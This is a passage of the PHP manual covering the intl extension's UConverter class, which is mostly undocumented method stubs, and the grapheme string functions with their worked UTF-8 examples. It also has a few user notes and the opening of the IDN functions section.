const integer REASON_ILLEGAL = 1 ;
const integer REASON_IRREGULAR = 2 ;
const integer REASON_RESET = 3 ;
const integer REASON_CLOSE = 4 ;
const integer REASON_CLONE = 5 ;
const integer UNSUPPORTED_CONVERTER = -1 ;
const integer SBCS = 0 ;
const integer DBCS = 1 ;
const integer MBCS = 2 ;
const integer LATIN_1 = 3 ;
const integer UTF8 = 4 ;
const integer UTF16_BigEndian = 5 ;
const integer UTF16_LittleEndian = 6 ;
const integer UTF32_BigEndian = 7 ;
const integer UTF32_LittleEndian = 8 ;
const integer EBCDIC_STATEFUL = 9 ;
const integer ISO_2022 = 10 ;
const integer LMBCS_1 = 11 ;
const integer LMBCS_2 = 12 ;
const integer LMBCS_3 = 13 ;
const integer LMBCS_4 = 14 ;
const integer LMBCS_5 = 15 ;
const integer LMBCS_6 = 16 ;
const integer LMBCS_8 = 17 ;
const integer LMBCS_11 = 18 ;
const integer LMBCS_16 = 19 ;
const integer LMBCS_17 = 20 ;
const integer LMBCS_18 = 21 ;
const integer LMBCS_19 = 22 ;
const integer LMBCS_LAST = 22 ;
const integer HZ = 23 ;
const integer SCSU = 24 ;
const integer ISCII = 25 ;
const integer US_ASCII = 26 ;
const integer UTF7 = 27 ;
const integer BOCU1 = 28 ;
const integer UTF16 = 29 ;
const integer UTF32 = 30 ;
const integer CESU8 = 31 ;
const integer IMAP_MAILBOX = 32 ;
/* Methods */
public __construct ([ string $destination_encoding [, string $source_encoding ]] )
public string convert ( string $str [, bool $reverse ] )
public mixed fromUCallback ( integer $reason , string $source , string $codePoint , integer &$error )
public static array getAliases ([ string $name ] )
public static array getAvailable ( void )
public string getDestinationEncoding ( void )
public integer getDestinationType ( void )
public integer getErrorCode ( void )
public string getErrorMessage ( void )
public string getSourceEncoding ( void )
public integer getSourceType ( void )
public static array getStandards ( void )
public string getSubstChars ( void )
public static string reasonText ([ integer $reason ] )
public void setDestinationEncoding ( string $encoding )
public void setSourceEncoding ( string $encoding )
public void setSubstChars ( string $chars )
public mixed toUCallback ( integer $reason , string $source , string $codeUnits , integer &$error )
public static string transcode ( string $str , string $toEncoding , string $fromEncoding [, array $options ] )
}

Predefined Constants

UConverter::REASON_UNASSIGNED

UConverter::REASON_ILLEGAL

UConverter::REASON_IRREGULAR

UConverter::REASON_RESET

UConverter::REASON_CLOSE

UConverter::REASON_CLONE

UConverter::UNSUPPORTED_CONVERTER

UConverter::SBCS

UConverter::DBCS

UConverter::MBCS

UConverter::LATIN_1

UConverter::UTF8

UConverter::UTF16_BigEndian

UConverter::UTF16_LittleEndian

UConverter::UTF32_BigEndian

UConverter::UTF32_LittleEndian

UConverter::EBCDIC_STATEFUL

UConverter::ISO_2022

UConverter::LMBCS_1

UConverter::LMBCS_2

UConverter::LMBCS_3

UConverter::LMBCS_4

UConverter::LMBCS_5

UConverter::LMBCS_6

UConverter::LMBCS_8

UConverter::LMBCS_11

UConverter::LMBCS_16

UConverter::LMBCS_17

UConverter::LMBCS_18

UConverter::LMBCS_19

UConverter::LMBCS_LAST

UConverter::HZ

UConverter::SCSU

UConverter::ISCII

UConverter::US_ASCII

UConverter::UTF7

UConverter::BOCU1

UConverter::UTF16

UConverter::UTF32

UConverter::CESU8

UConverter::IMAP_MAILBOX

Table of Contents

  • UConverter::__construct — Create UConverter object
  • UConverter::convert — Convert string from one charset to another
  • UConverter::fromUCallback — Default "from" callback function
  • UConverter::getAliases — Get the aliases of the given name
  • UConverter::getAvailable — Get the available canonical converter names
  • UConverter::getDestinationEncoding — Get the destination encoding
  • UConverter::getDestinationType — Get the destination converter type
  • UConverter::getErrorCode — Get last error code on the object
  • UConverter::getErrorMessage — Get last error message on the object
  • UConverter::getSourceEncoding — Get the source encoding
  • UConverter::getSourceType — Get the source convertor type
  • UConverter::getStandards — Get standards associated to converter names
  • UConverter::getSubstChars — Get substitution chars
  • UConverter::reasonText — Get string representation of the callback reason
  • UConverter::setDestinationEncoding — Set the destination encoding
  • UConverter::setSourceEncoding — Set the source encoding
  • UConverter::setSubstChars — Set the substitution chars
  • UConverter::toUCallback — Default "to" callback function
  • UConverter::transcode — Convert string from one charset to another

User Contributed Notes

There are no user contributed notes for this page.


Create UConverter object

  • « UConverter
  • UConverter::convert »
  • PHP Manual
  • UConverter
  • Create UConverter object

UConverter::__construct

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::__construct — Create UConverter object

Description

public UConverter::__construct ([ string $destination_encoding [, string $source_encoding ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

destination_encoding

source_encoding

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Convert string from one charset to another

  • « UConverter::__construct
  • UConverter::fromUCallback »
  • PHP Manual
  • UConverter
  • Convert string from one charset to another

UConverter::convert

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::convert — Convert string from one charset to another

Description

public string UConverter::convert ( string $str [, bool $reverse ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

str

reverse

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Default "from" callback function

  • « UConverter::convert
  • UConverter::getAliases »
  • PHP Manual
  • UConverter
  • Default "from" callback function

UConverter::fromUCallback

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::fromUCallback — Default "from" callback function

Description

public mixed UConverter::fromUCallback ( integer $reason , string $source , string $codePoint , integer &$error )

Warning

This function is currently not documented; only its argument list is available.

Parameters

reason

source

codePoint

error

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the aliases of the given name

  • « UConverter::fromUCallback
  • UConverter::getAvailable »
  • PHP Manual
  • UConverter
  • Get the aliases of the given name

UConverter::getAliases

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getAliases — Get the aliases of the given name

Description

public static array UConverter::getAliases ([ string $name ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the available canonical converter names

  • « UConverter::getAliases
  • UConverter::getDestinationEncoding »
  • PHP Manual
  • UConverter
  • Get the available canonical converter names

UConverter::getAvailable

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getAvailable — Get the available canonical converter names

Description

public static array UConverter::getAvailable ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the destination encoding

  • « UConverter::getAvailable
  • UConverter::getDestinationType »
  • PHP Manual
  • UConverter
  • Get the destination encoding

UConverter::getDestinationEncoding

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getDestinationEncoding — Get the destination encoding

Description

public string UConverter::getDestinationEncoding ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the destination converter type

  • « UConverter::getDestinationEncoding
  • UConverter::getErrorCode »
  • PHP Manual
  • UConverter
  • Get the destination converter type

UConverter::getDestinationType

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getDestinationType — Get the destination converter type

Description

public integer UConverter::getDestinationType ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • « UConverter::getDestinationType
  • UConverter::getErrorMessage »
  • PHP Manual
  • UConverter
  • Get last error code on the object

UConverter::getErrorCode

intl_get_error_code

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getErrorCode -- intl_get_error_code — Get last error code on the object

Description

public integer UConverter::getErrorCode ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • « UConverter::getErrorCode
  • UConverter::getSourceEncoding »
  • PHP Manual
  • UConverter
  • Get last error message on the object

UConverter::getErrorMessage

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getErrorMessage — Get last error message on the object

Description

public string UConverter::getErrorMessage ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the source encoding

  • « UConverter::getErrorMessage
  • UConverter::getSourceType »
  • PHP Manual
  • UConverter
  • Get the source encoding

UConverter::getSourceEncoding

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getSourceEncoding — Get the source encoding

Description

public string UConverter::getSourceEncoding ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the source convertor type

  • « UConverter::getSourceEncoding
  • UConverter::getStandards »
  • PHP Manual
  • UConverter
  • Get the source convertor type

UConverter::getSourceType

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getSourceType — Get the source convertor type

Description

public integer UConverter::getSourceType ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get standards associated to converter names

  • « UConverter::getSourceType
  • UConverter::getSubstChars »
  • PHP Manual
  • UConverter
  • Get standards associated to converter names

UConverter::getStandards

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getStandards — Get standards associated to converter names

Description

public static array UConverter::getStandards ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get substitution chars

  • « UConverter::getStandards
  • UConverter::reasonText »
  • PHP Manual
  • UConverter
  • Get substitution chars

UConverter::getSubstChars

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::getSubstChars — Get substitution chars

Description

public string UConverter::getSubstChars ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get string representation of the callback reason

  • « UConverter::getSubstChars
  • UConverter::setDestinationEncoding »
  • PHP Manual
  • UConverter
  • Get string representation of the callback reason

UConverter::reasonText

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::reasonText — Get string representation of the callback reason

Description

public static string UConverter::reasonText ([ integer $reason ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

reason

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the destination encoding

  • « UConverter::reasonText
  • UConverter::setSourceEncoding »
  • PHP Manual
  • UConverter
  • Set the destination encoding

UConverter::setDestinationEncoding

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::setDestinationEncoding — Set the destination encoding

Description

public void UConverter::setDestinationEncoding ( string $encoding )

Warning

This function is currently not documented; only its argument list is available.

Parameters

encoding

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the source encoding

  • « UConverter::setDestinationEncoding
  • UConverter::setSubstChars »
  • PHP Manual
  • UConverter
  • Set the source encoding

UConverter::setSourceEncoding

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::setSourceEncoding — Set the source encoding

Description

public void UConverter::setSourceEncoding ( string $encoding )

Warning

This function is currently not documented; only its argument list is available.

Parameters

encoding

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the substitution chars

  • « UConverter::setSourceEncoding
  • UConverter::toUCallback »
  • PHP Manual
  • UConverter
  • Set the substitution chars

UConverter::setSubstChars

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::setSubstChars — Set the substitution chars

Description

public void UConverter::setSubstChars ( string $chars )

Warning

This function is currently not documented; only its argument list is available.

Parameters

chars

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Default "to" callback function

  • « UConverter::setSubstChars
  • UConverter::transcode »
  • PHP Manual
  • UConverter
  • Default "to" callback function

UConverter::toUCallback

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::toUCallback — Default "to" callback function

Description

public mixed UConverter::toUCallback ( integer $reason , string $source , string $codeUnits , integer &$error )

Warning

This function is currently not documented; only its argument list is available.

Parameters

reason

source

codeUnits

error

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Convert string from one charset to another

  • « UConverter::toUCallback
  • Grapheme Functions »
  • PHP Manual
  • UConverter
  • Convert string from one charset to another

UConverter::transcode

(PHP 5.5.0, PECL >= 3.0.0a1)

UConverter::transcode — Convert string from one charset to another

Description

public static string UConverter::transcode ( string $str , string $toEncoding , string $fromEncoding [, array $options ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

str

toEncoding

fromEncoding

options

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Grapheme Functions

Table of Contents

  • grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.
  • grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strlen — Get string length in grapheme units
  • grapheme_strpos — Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • grapheme_substr — Return part of a string

User Contributed Notes

There are no user contributed notes for this page.


Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.

  • « Grapheme Functions
  • grapheme_stripos »
  • PHP Manual
  • Grapheme Functions
  • Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.

grapheme_extract

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.

Description

Procedural style

string grapheme_extract ( string $haystack , int $size [, int $extract_type [, int $start = 0 [, int &$next ]]] )

Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.

Parameters

haystack

String to search.

size

Maximum number items - based on the $extract_type - to return.

extract_type

Defines the type of units referred to by the $size parameter:

  • GRAPHEME_EXTR_COUNT (default) - $size is the number of default grapheme clusters to extract.
  • GRAPHEME_EXTR_MAXBYTES - $size is the maximum number of bytes returned.
  • GRAPHEME_EXTR_MAXCHARS - $size is the maximum number of UTF-8 characters returned.

start

Starting position in $haystack in bytes - if given, it must be zero or a positive value that is less than or equal to the length of $haystack in bytes. If $start does not point to the first byte of a UTF-8 character, the start position is moved to the next character boundary.

next

Reference to a value that will be set to the next starting position. When the call returns, this may point to the first byte position past the end of the string.

Return Values

A string starting at offset $start and ending on a default grapheme cluster boundary that conforms to the $size and $extract_type specified.

Examples

Example #1 grapheme_extract() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_extract( $char_a_ring_nfd . $char_o_diaeresis_nfd, 1, GRAPHEME_EXTR_COUNT, 2));

?>

The above example will output:

o%CC%88

See Also

  • grapheme_substr() - Return part of a string
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

AJH 13-Jul-2011 01:37
Here's how to use grapheme_extract() to loop across a UTF-8 string character by character.

<?php

$str = "سabcक’…";
// if the previous line didn't come through, the string contained:
//U+0633,U+0061,U+0062,U+0063,U+0915,U+2019,U+2026

$n = 0;

for (    $start = 0, $next = 0, $maxbytes = strlen($str), $c = '';
        $start < $maxbytes;
        $c = grapheme_extract($str, 1, GRAPHEME_EXTR_MAXCHARS , ($start = $next), $next)
    )
{
    if (empty($c))
        continue;
    echo "This utf8 character is " . strlen($c) . " bytes long and its first byte is " . ord($c[0]) . "\n";
    $n++;
}
echo "$n UTF-8 characters in a string of $maxbytes bytes!\n";
// Should print: 7 UTF8 characters in a string of 14 bytes!
?>


Find position (in grapheme units) of first occurrence of a case-insensitive string

  • « grapheme_extract
  • grapheme_stristr »
  • PHP Manual
  • Grapheme Functions
  • Find position (in grapheme units) of first occurrence of a case-insensitive string

grapheme_stripos

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string

Description

Procedural style

int grapheme_stripos ( string $haystack , string $needle [, int $offset = 0 ] )

Find position (in grapheme units) of first occurrence of a case-insensitive string

Parameters

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional $offset parameter allows you to specify where in haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of $offset.

Return Values

Returns the position as an integer. If needle is not found, grapheme_stripos() will return boolean FALSE.

Examples

Example #1 grapheme_stripos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_stripos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

The above example will output:

2

See Also

  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.

  • « grapheme_stripos
  • grapheme_strlen »
  • PHP Manual
  • Grapheme Functions
  • Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.

grapheme_stristr

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.

Description

Procedural style

string grapheme_stristr ( string $haystack , string $needle [, bool $before_needle = false ] )

Returns part of haystack string starting from and including the first occurrence of case-insensitive needle to the end of haystack.

Parameters

haystack

The input string. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

before_needle

If TRUE, grapheme_strstr() returns the part of the haystack before the first occurrence of the needle (excluding needle).

Return Values

Returns the portion of $haystack, or FALSE if $needle is not found.

Examples

Example #1 grapheme_stristr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_O_diaeresis_nfd));

?>

The above example will output:

o%CC%88a%CC%8A

See Also

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Get string length in grapheme units

  • « grapheme_stristr
  • grapheme_strpos »
  • PHP Manual
  • Grapheme Functions
  • Get string length in grapheme units

grapheme_strlen

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strlen — Get string length in grapheme units

Description

Procedural style

int grapheme_strlen ( string $input )

Get string length in grapheme units (not bytes or characters)

Parameters

input

The string being measured for length. It must be a valid UTF-8 string.

Return Values

The length of the string on success, and 0 if the string is empty.

Examples

Example #1 grapheme_strlen() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strlen( 'abc' . $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd);

?>

The above example will output:

6

See Also

  • » Unicode Text Segmentation: Grapheme Cluster Boundaries
  • iconv_strlen() - Returns the character count of string
  • mb_strlen() - Get string length
  • strlen() - Get string length

User Contributed Notes

There are no user contributed notes for this page.


Find position (in grapheme units) of first occurrence of a string

  • « grapheme_strlen
  • grapheme_strripos »
  • PHP Manual
  • Grapheme Functions
  • Find position (in grapheme units) of first occurrence of a string

grapheme_strpos

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strpos — Find position (in grapheme units) of first occurrence of a string

Description

Procedural style

int grapheme_strpos ( string $haystack , string $needle [, int $offset = 0 ] )

Find position (in grapheme units) of first occurrence of a string

Parameters

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional $offset parameter allows you to specify where in $haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of $offset.

Return Values

Returns the position as an integer. If needle is not found, strpos() will return boolean FALSE.

Examples

Example #1 grapheme_strpos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strpos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);

?>

The above example will output:

2

See Also

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Find position (in grapheme units) of last occurrence of a case-insensitive string

  • « grapheme_strpos
  • grapheme_strrpos »
  • PHP Manual
  • Grapheme Functions
  • Find position (in grapheme units) of last occurrence of a case-insensitive string

grapheme_strripos

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string

Description

Procedural style

int grapheme_strripos ( string $haystack , string $needle [, int $offset = 0 ] )

Find position (in grapheme units) of last occurrence of a case-insensitive string

Parameters

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional $offset parameter allows you to specify where in $haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of $offset.

Return Values

Returns the position as an integer. If needle is not found, grapheme_strripos() will return boolean FALSE.

Examples

Example #1 grapheme_strripos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_strripos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

The above example will output:

2

See Also

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Find position (in grapheme units) of last occurrence of a string

  • « grapheme_strripos
  • grapheme_strstr »
  • PHP Manual
  • Grapheme Functions
  • Find position (in grapheme units) of last occurrence of a string

grapheme_strrpos

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string

Description

Procedural style

int grapheme_strrpos ( string $haystack , string $needle [, int $offset = 0 ] )

Find position (in grapheme units) of last occurrence of a string

Parameters

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional $offset parameter allows you to specify where in $haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of $offset.

Return Values

Returns the position as an integer. If needle is not found, grapheme_strrpos() will return boolean FALSE.

Examples

Example #1 grapheme_strrpos() example

<?php
$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strrpos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);
?>

The above example will output:

2

See Also

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Returns part of haystack string from the first occurrence of needle to the end of haystack.

  • « grapheme_strrpos
  • grapheme_substr »
  • PHP Manual
  • Grapheme Functions
  • Returns part of haystack string from the first occurrence of needle to the end of haystack.

grapheme_strstr

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack.

Description

Procedural style

string grapheme_strstr ( string $haystack , string $needle [, bool $before_needle = false ] )

Returns part of haystack string from the first occurrence of needle to the end of haystack (including the needle).

Parameters

haystack

The input string. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

before_needle

If TRUE, grapheme_strstr() returns the part of the haystack before the first occurrence of the needle (excluding the needle).

Return Values

Returns the portion of string, or FALSE if needle is not found.

Examples

Example #1 grapheme_strstr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_o_diaeresis_nfd));

?>

The above example will output:

o%CC%88a%CC%8A

See Also

  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Return part of a string

  • « grapheme_strstr
  • IDN Functions »
  • PHP Manual
  • Grapheme Functions
  • Return part of a string

grapheme_substr

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

grapheme_substr — Return part of a string

Description

Procedural style

int grapheme_substr ( string $string , int $start [, int $length ] )

Return part of a string

Parameters

string

The input string. Must be valid UTF-8.

start

Start position in default grapheme units. If $start is non-negative, the returned string will start at the $start'th position in $string, counting from zero. If $start is negative, the returned string will start at the $start'th grapheme unit from the end of string.

length

Length in grapheme units. If $length is given and is positive, the string returned will contain at most $length grapheme units beginning from $start (depending on the length of string). If $length is given and is negative, then that many grapheme units will be omitted from the end of string (after the start position has been calculated when a start is negative). If $start denotes a position beyond this truncation, FALSE will be returned.

Return Values

Returns the extracted part of $string.

Changelog

Version | Description
5.4 | If length is given and positive and the argument string is shorter than the specified length, all the rest of the string according to start parameter is returned. Previously, FALSE was returned.

Examples

Example #1 grapheme_substr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_substr( "ao" . $char_a_ring_nfd . "bc" . $char_o_diaeresis_nfd . "O", 2, -1 ));
?>

The above example will output:

a%CC%8Abco%CC%88

See Also

  • grapheme_extract() - Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


IDN Functions

Table of Contents

  • idn_to_ascii — Convert domain name to IDNA ASCII form.
  • idn_to_unicode — Alias of idn_to_utf8
  • idn_to_utf8 — Convert domain name from IDNA ASCII to Unicode.

User Contributed Notes

stepanov dot inbox at gmail dot com 05-Jul-2013 06:29
Keep in mind that a php module is required to use these functions (which may not be present on your shared hosting).

